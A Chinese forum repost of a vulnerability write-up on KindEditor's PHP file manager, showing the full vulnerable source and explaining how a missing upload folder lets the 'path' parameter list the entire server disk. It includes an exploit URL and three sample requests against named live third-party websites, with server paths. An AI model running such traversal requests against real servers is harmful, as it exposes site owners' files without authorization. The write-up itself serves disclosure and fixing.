• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    Kindeditor特定情况可能会导致全盘浏览的漏洞

    发布者: 怀142 | 发布时间: 2025-6-28 21:07| 查看数: 85| 评论数: 0|帖子模式

    因为例子很少,开始想了下不是他们的漏洞,后面想了下,后面没有检查好用户的正常配置内容导致,还是提下吧。

    下载地址:

    貌似是最新版本的。

    测试语言:PHP
    测试漏洞文件:/kindeditor/php/file_manager_json.php
    默认配置(第16行):


    $root_path = $php_path . '../attached/';

    当/attached/文件夹不存在(被删)或者被改名为一个不存在的目录时,如网上的一个例子:

    $root_path = $php_path . '../../../upload/';

    这个CMS下面的目录根本就没得这个目录,所以就造成了漏洞。

    怎么造成了漏洞的呢?我们分析下。

    PHP Code复制内容到剪贴板
         
    • <?php      
    • /**      
    • * KindEditor PHP      
    • *      
    • * 本PHP程序是演示程序,建议不要直接在实际项目中使用。      
    • * 如果您确定直接使用本程序,使用之前请仔细确认相关安全设置。      
    • *      
    • */      
    •       
    • require_once 'JSON.php';      
    •       
    • $php_path = dirname(__FILE__) . '/';      
    • $php_url = dirname($_SERVER['PHP_SELF']) . '/';      
    •       
    • //根目录路径,可以指定绝对路径,比如 /var/www/attached/      
    • $root_path = $php_path . '../../../upload/';      
    • //根目录URL,可以指定绝对路径,比如 http://www.yoursite.com/attached/      
    • $root_url = $php_url . '../../../upload/';      
    • //图片扩展名      
    • $ext_arr = array('gif', 'jpg', 'jpeg', 'png', 'bmp');      
    •       
    • //目录名      
    • $dir_name = emptyempty($_GET['dir']) ? '' : trim($_GET['dir']);      
    • if (!in_array($dir_name, array('', 'image', 'flash', 'media', 'file'))) {      
    • echo "Invalid Directory name.";      
    • exit;      
    • }      
    • if ($dir_name !== '') {      
    • $root_path .= $dir_name . "/";      
    • $root_url .= $dir_name . "/";      
    • if (!file_exists($root_path)) {      
    • mkdir($root_path);      
    • }      
    • }      
    •       
    • //根据path参数,设置各路径和URL      
    • if (emptyempty($_GET['path'])) {      
    • $current_path = realpath($root_path) . '/';      
    • $current_url = $root_url;      
    • $current_dir_path = '';      
    • $moveup_dir_path = '';      
    • } else {      
    • $current_path = realpath($root_path) . '/' . $_GET['path'];      
    • $current_url = $root_url . $_GET['path'];      
    • $current_dir_path = $_GET['path'];      
    • $moveup_dir_path = preg_replace('/(.*?)[^\/]+\/$/', '$1', $current_dir_path);      
    • }      
    • //echo realpath($root_path);      
    • //排序形式,name or size or type      
    • $order = emptyempty($_GET['order']) ? 'name' : strtolower($_GET['order']);      
    •       
    • //不允许使用..移动到上一级目录      
    • if (preg_match('/\.\./', $current_path)) {      
    • echo 'Access is not allowed.';      
    • exit;      
    • }      
    • //最后一个字符不是/      
    • if (!preg_match('/\/$/', $current_path)) {      
    • echo 'Parameter is not valid.';      
    • exit;      
    • }      
    • //目录不存在或不是目录      
    • if (!file_exists($current_path) || !is_dir($current_path)) {      
    • echo 'Directory does not exist.';      
    • exit;      
    • }      
    •       
    • //遍历目录取得文件信息      
    • $file_list = array();      
    • if ($handle = opendir($current_path)) {      
    • $i = 0;      
    • while (false !== ($filename = readdir($handle))) {      
    • if ($filename{0} == '.') continue;      
    • $file = $current_path . $filename;      
    • if (is_dir($file)) {      
    • $file_list[$i]['is_dir'] = true; //是否文件夹      
    • $file_list[$i]['has_file'] = (count(scandir($file)) > 2); //文件夹是否包含文件      
    • $file_list[$i]['filesize'] = 0; //文件大小      
    • $file_list[$i]['is_photo'] = false; //是否图片      
    • $file_list[$i]['filetype'] = ''; //文件类别,用扩展名判断      
    • } else {      
    • $file_list[$i]['is_dir'] = false;      
    • $file_list[$i]['has_file'] = false;      
    • $file_list[$i]['filesize'] = filesize($file);      
    • $file_list[$i]['dir_path'] = '';      
    • $file_ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));      
    • $file_list[$i]['is_photo'] = in_array($file_ext, $ext_arr);      
    • $file_list[$i]['filetype'] = $file_ext;      
    • }      
    • $file_list[$i]['filename'] = $filename; //文件名,包含扩展名      
    • $file_list[$i]['datetime'] = date('Y-m-d H:i:s', filemtime($file)); //文件最后修改时间      
    • $i++;      
    • }      
    • closedir($handle);      
    • }      
    •       
    • //排序      
    • function cmp_func($a, $b) {      
    • global $order;      
    • if ($a['is_dir'] && !$b['is_dir']) {      
    • return -1;      
    • } else if (!$a['is_dir'] && $b['is_dir']) {      
    • return 1;      
    • } else {      
    • if ($order == 'size') {      
    • if ($a['filesize'] > $b['filesize']) {      
    • return 1;      
    • } else if ($a['filesize'] < $b['filesize']) {      
    • return -1;      
    • } else {      
    • return 0;      
    • }      
    • } else if ($order == 'type') {      
    • return strcmp($a['filetype'], $b['filetype']);      
    • } else {      
    • return strcmp($a['filename'], $b['filename']);      
    • }      
    • }      
    • }      
    • usort($file_list, 'cmp_func');      
    •       
    • $result = array();      
    • //相对于根目录的上一级目录      
    • $result['moveup_dir_path'] = $moveup_dir_path;      
    • //相对于根目录的当前目录      
    • $result['current_dir_path'] = $current_dir_path;      
    • //当前目录的URL      
    • $result['current_url'] = $current_url;      
    • //文件数      
    • $result['total_count'] = count($file_list);      
    • //文件列表数组      
    • $result['file_list'] = $file_list;      
    •       
    • //输出JSON字符串      
    • header('Content-type: application/json; charset=UTF-8');      
    • $json = new Services_JSON();      
    • echo $json->encode($result);  


    第三十八行:

    $current_path = realpath($root_path) . '/';

    当$root_path被realpath以后,不存在的目录会返回空,然后连接后面的'/'

    $current_path所以默认就等于'/'

    当提交了$_GET['path']以后,而且$_GET['path']要以'/'为结尾(有验证),所以,我们就可以构造浏览全盘目录了。

    kingedit/php/file_manager_json.php?path=/ (浏览盘符的根目录)

    接着上面给出验证的(互联网找到几个):
    先给本地的(attached文件夹被我删了):





    互联网找到的:

    http://demo.douco.com/admin/include/kindeditor/php/file_manager_json.php?path=home/demodoucokdce4mmohd8okuoc1o/wwwroot/&dir=image



    http://route53.com.tw/static/jscripts/kindeditor/php/file_manager_json.php?path=home/onepage/public_html/



    http://www.bndvalve.com/Public/kindeditor/php/file_manager_json.php?path=wwwroot/bonade/

    修复方案:再验证下绝对路径?

    来源:https://www.jb51.net/hack/367946.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?立即注册

    ×

    最新评论

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表